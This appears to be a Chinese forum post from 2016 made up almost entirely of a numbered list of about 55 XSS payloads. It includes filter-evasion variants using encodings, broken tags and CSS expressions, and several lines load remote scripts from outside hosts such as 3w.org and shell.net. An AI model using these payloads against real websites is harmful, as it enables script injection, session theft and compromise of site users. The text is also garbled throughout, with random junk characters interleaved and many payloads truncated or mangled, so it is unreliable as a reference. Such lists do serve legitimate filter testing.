(1)普通的XSS JavaScript注入
1 h& y2 H0 o0 {2 u5 Y+ t<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
) }) O4 o7 u; I# O(99)另类弹框
" L& }' ^& n9 m) s<q/oncut=alert()>1
1 W- C- R6 ]' a& C3 i<s/onclick=alert()>b
/ m `3 m9 u6 t <XSS=" onclick="alert(1)//">clickme</SSX=">
, ~3 C5 ^4 a8 V- Z <zzz onclick=alert`1`>clickme</zzz>
( o9 V9 m! b- s <a onclick=alert`1`>clickme</a>
1 _6 P" I% L7 N<a=">clickme</a=">
+ r. B) A( M1 \# I<a=">clickme</a>" Y9 y4 A& _6 y# m& K, W
<z=">clickme</z=">
; [2 C4 a0 ~4 l7 j \) v& D1 q3 z, e<z onclick=alert`1`>clickme</z>
) t& ` p% X8 h$ I: K0 I' ^5 v
2 b/ g5 Z' v( P4 Z. U(2)IMG标签XSS使用JavaScript命令( `" ]5 q# Z) [' }1 {
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>' q, ]% n9 @- ~/ j$ ~- ]
! y9 w2 C4 s$ E( b
(3)IMG标签无分号无引号
6 D& v6 H8 x# @- X8 p<IMG SRC=javascript:alert(‘XSS’)>
0 F I7 k e2 B% p O) G `; N$ Q5 I4 i
(4)IMG标签大小写不敏感& Z9 \: I5 _8 ?- h4 h) @
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>+ b+ G+ ` P- Q
8 x; q; S3 b; R6 g7 t
(5)HTML编码(必须有分号)+ ?: r' M3 m. S. ~0 Z
<IMG SRC=javascript:alert(“XSS”)>% E' n; Y7 O4 v# q0 ~
1 }4 O1 L# x7 C5 r% _2 g
(6)修正缺陷IMG标签
0 X& G- A; B) C, b, ?<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
" ?- g/ A% I8 B- Z( G( D9 [8 G* s c; b; E p" X O
(7)formCharCode标签(计算器)
0 d- F4 Z% t9 _$ [/ g* v<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
, s- }4 N6 m* r5 k1 J5 ^* o1 X
R# _! S; _) P" t* D, C# R(8)UTF-8的Unicode编码(计算器)
$ T' y: X! ?3 N/ D( x<IMG SRC=jav..省略..S')>
e8 @) a6 G* T4 s- g p) f \& q# ^0 ?* }! t0 s& e2 \% _
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)9 K( y) |) B" [
<IMG SRC=jav..省略..S')>9 R! k% H, d3 B7 x0 P6 N
# c- Q6 N- D. G, M- M(10)十六进制编码也是没有分号(计算器)
@) E& {" S% G' ?3 p<IMG SRC=\'#\'" /span>! Y* c2 O" Y2 \7 k6 {& d
# y+ V! Q' D- @. z2 H3 F(11)嵌入式标签,将Javascript分开: w# A. c0 w; t) U/ {
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>9 J9 V/ l n, _( D
+ [6 F$ g2 ?/ r: |
(12)嵌入式编码标签,将Javascript分开6 D" @9 N9 y) H% J3 v Y
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>( v/ u3 {7 o4 B5 ?6 X" @3 F9 i. o
) O7 A5 g0 w) P q# r
(13)嵌入式换行符2 L% o( f5 N9 J8 v# l
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”># [$ Y0 t+ }$ E' K4 d4 ]$ V; m# n
) G4 r3 o$ e9 ]5 q: d V( S$ ^(14)嵌入式回车
' b6 y: S# W& u f- F1 o<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
% |: K) k2 R# k9 q% X0 o% {1 Y" V8 {1 M' J: V$ W
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
: W: ~- @ A" I L* b<IMG SRC=\'#\'" /span>
; @2 E ]& ?- m$ v5 _4 _6 C V
( W; W1 |$ p3 j# x1 ~: k0 ]7 E(16)解决限制字符(要求同页面)5 n0 C6 w* Y0 K& @0 \+ w5 p
<script>z=’document.’</script>
4 b; D; E* |$ L# c7 w<script>z=z+’write(“‘</script>+ i9 j7 i% A* O' o9 _% q
<script>z=z+’<script’</script>- n! V3 ~. K8 n W ]( b
<script>z=z+’ src=ht’</script>
. {% {$ L/ k: C1 ^: b: Y7 I<script>z=z+’tp://ww’</script>
: }; G+ E! X' n, \0 C. {0 n<script>z=z+’w.shell’</script>
# K% k n9 Z0 W- V; V<script>z=z+’.net/1.’</script>1 I, L2 ]4 Y) I1 d
<script>z=z+’js></sc’</script>
" `4 J, i1 G* c6 O1 z<script>z=z+’ript>”)’</script>
3 o* T+ d$ {! y0 K5 u# b: `<script>eval_r(z)</script>1 ~/ W; l5 P3 _* |
6 N0 F3 f9 e( Q' p. V+ t(17)空字符# i% J9 {' N" S7 H* K/ i
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out& E! L- P' c: ]
. z7 ]) ? E% h: P9 s(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
# Q5 Y; D2 ~8 e8 jperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
9 D/ k: c5 q( Y- G3 w7 n6 s
9 }) L1 N+ k* d) h9 a3 `/ N$ t(19)Spaces和meta前的IMG标签- w0 w6 k& K4 ?
<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>" k5 ~9 |6 q% O6 p7 ]" C- F
# F5 l* b% B4 z' n# L(20)Non-alpha-non-digit XSS
+ [9 m& S# A( H7 Z$ _/ o<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
9 T' K6 N4 \5 L5 ]7 {! d/ w
) A6 _- h! p. B8 m# W(21)Non-alpha-non-digit XSS to 24 L: T# N4 \; `9 v t
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>; ]: \, p1 x( m1 Q# _& U$ ^0 D
d( L! u/ h0 f- `0 g/ Z% B(22)Non-alpha-non-digit XSS to 3
`2 p" E# C6 A9 l7 e9 A7 b<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>8 D7 }1 t- K0 P, W% q7 M1 h
/ p2 T3 G0 j% v
(23)双开括号 k2 c! k) S, J9 m/ H! q6 M
<<SCRIPT>alert(“XSS”);//<</SCRIPT># h9 G, n. j# ~) V1 H5 u
/ f! F8 o5 S; \' C. b
(24)无结束脚本标记(仅火狐等浏览器)" y, k4 j* g- Z) {" q
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>; t9 |4 Y# j. `. w) i- P [) w3 Q, }
! e6 f# K$ h( ~6 i% N+ y! \; T
(25)无结束脚本标记2
: p5 c) R1 L3 X' y x<SCRIPT SRC=//3w.org/XSS/xss.js>0 E) `* o* k% W1 `( d6 d# H1 c3 }
- n a t7 S4 S$ F$ R
(26)半开的HTML/JavaScript XSS; v( P$ p4 T/ h7 Y% i% f% R1 {
<IMG SRC=\'#\'" /span>, n1 E S) y1 F k
* ?4 v- R/ g6 w(27)双开角括号. X+ m/ U8 h" M
<iframe src=http://3w.org/XSS.html <0 `3 T% u. G; S' D; D- [
3 w& {6 \4 s+ ^/ H(28)无单引号 双引号 分号
3 W, g0 R9 m, H" \/ A: l<SCRIPT>a=/XSS/
+ a4 u/ |6 D4 _alert(a.source)</SCRIPT>1 s& K" X) h7 K# M
! l/ O- V% Q; z. V
(29)换码过滤的JavaScript9 e- x9 H0 H; Y7 ]5 {3 m# o9 U
\”;alert(‘XSS’);//
9 o& d' Z& h8 s6 t+ N( ^% `( C
9 I- ^* H$ H0 N7 K7 x2 s(30)结束Title标签
# E. u& c$ M* |2 U7 a) [8 D</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
. d% x) w: y- H3 l) y, H" P4 ~7 M8 w, I& e {7 z2 T0 P
(31)Input Image
- t u$ x8 N: V0 t' e/ D<INPUT SRC=\'#\'" /span>
3 O0 l0 d; t! I9 ~
6 x1 Z- x: ~2 b" m5 u }3 x(32)BODY Image
2 m1 L- M+ Q3 W" d @( z<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
2 t* ]; J. z4 l* N) O! L V6 l$ m3 M$ E& U' y
(33)BODY标签! X+ p$ x& h8 o) V4 q; T6 j, N
<BODY(‘XSS’)>
7 H. w5 i( O; [* [3 P j# Q% g2 C+ G1 r/ k
(34)IMG Dynsrc e* x1 I' a2 J' \7 t& e. e2 k
<IMG DYNSRC=\'#\'" /span>3 g7 k' B% l7 _. ?
7 ~5 z! L( h7 \: ]( h( ]+ u1 M& W
(35)IMG Lowsrc+ u$ M6 z8 ^$ U) i
<IMG LOWSRC=\'#\'" /span>
$ ?2 ?7 ]; V; O! j7 u0 [% t |$ u2 l- m+ I; I. j" y
(36)BGSOUND s# _0 n/ P# a4 R0 `- J5 A( z
<BGSOUND SRC=\'#\'" /span>
' h# V9 l) f2 ~. }( |" n9 U* J. O' |% I, ~
(37)STYLE sheet7 `+ X, J+ }: {/ W0 R$ T
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>* S% C8 Q' t4 z! I5 `$ W+ ~
/ s+ o% b8 g2 B( D$ e) h(38)远程样式表- l: Y2 |+ f+ _. {/ s
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>2 S1 \, Q9 q: X
% M* K& r: h' E" a
(39)List-style-image(列表式)5 X$ [; n8 U/ u5 e6 B8 W* C* @
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
4 e1 t+ Q% j( R9 s) z z# E( _
% W. N) ] K; k' C" ^" b; c(40)IMG VBscript
! K! t" ~% |& e4 m7 w. q6 T, y<IMG SRC=\'#\'" /STYLE><UL><LI>XSS# b5 M( [6 L3 g" o* `! ?0 m
( U4 v7 n; c& y0 x% T4 A% u(41)META链接url6 f. e# t6 i* T. _' Y
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
- v% R$ j& n3 w; Z3 G0 o
: F5 @; F. U6 s- F(42)Iframe; I5 J+ ~, S; S/ X# B* b9 @: N
<IFRAME SRC=\'#\'" /IFRAME>0 W- |4 g# `+ _* i3 y
, Y/ i3 q, ?4 Q+ }' Z$ t(43)Frame6 x. c( k4 l) _/ y8 A. F5 T
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>8 F$ Y& e, n- T V& z4 {
8 S- k& g9 E: A! N" a% E(44)Table! Z& D: D4 F$ I/ r. \8 m3 T* T. A/ i
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>( }# \8 N/ w0 B8 M
: O! V% b7 L: ?" C6 _, ? ~, `(45)TD
K7 F. ]6 ~: X# H8 b<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>/ y% u$ ?, F/ [+ o
" b; K9 f* d4 L% q
(46)DIV background-image
' L6 c, Z) {- Q( ~! U2 ^9 r6 p7 i/ O<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
. |* @' ]$ j+ _$ i C
+ h! o" f7 G, T; A(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)2 m& y& `% n8 V" M
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
7 `1 K! d. v: s; V* o& ~
$ p; d- Z$ ^2 }(48)DIV expression
% w( P; `2 _% Z8 z6 k% R" `<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
1 X! @+ Q8 E6 P# ?/ P7 w) u# ~* d y# x* P c$ Z% l
(49)STYLE属性分拆表达
; n0 J ?7 z; r" t9 \<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
; h7 D0 p2 O7 i( R- S8 Q5 ^
, w. a! V" G+ W0 U3 ?$ P. n" V* G6 l$ y(50)匿名STYLE(组成:开角号和一个字母开头)
1 T7 ^) ^1 _& q& Z" Y) L<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>! R ~" `6 O9 y+ N/ k% @- h' j
6 d4 m4 K" |: s7 F* N& r
(51)STYLE background-image/ k# q0 `! L+ p# X
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>5 \- G, S1 o D% N
9 y, t' y \" D% ^
(52)IMG STYLE方式
: O z& n' F& O/ Y3 c: [exppression(alert(“XSS”))’>
- N. z+ _$ U6 y! |" o% Y1 i- W0 ?4 c% c
(53)STYLE background, N! ^( ~5 T7 h8 w
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>5 e, J$ Q$ z+ a- j2 M b; d
- C3 Y9 K- n0 p9 O# @
(54)BASE9 [* F2 y$ q- ~7 `+ W" y4 H/ C
<BASE HREF=”javascript:alert(‘XSS’);//”>
9 V+ L, y2 V. x. X: j% ^/ ^
! \" J8 a$ B8 O& M(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS" U3 H+ O! b) f9 h
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
( n" ]. b0 N8 \/ F( X |
发表于 2016-4-28 10:06:15
收藏
支持
反对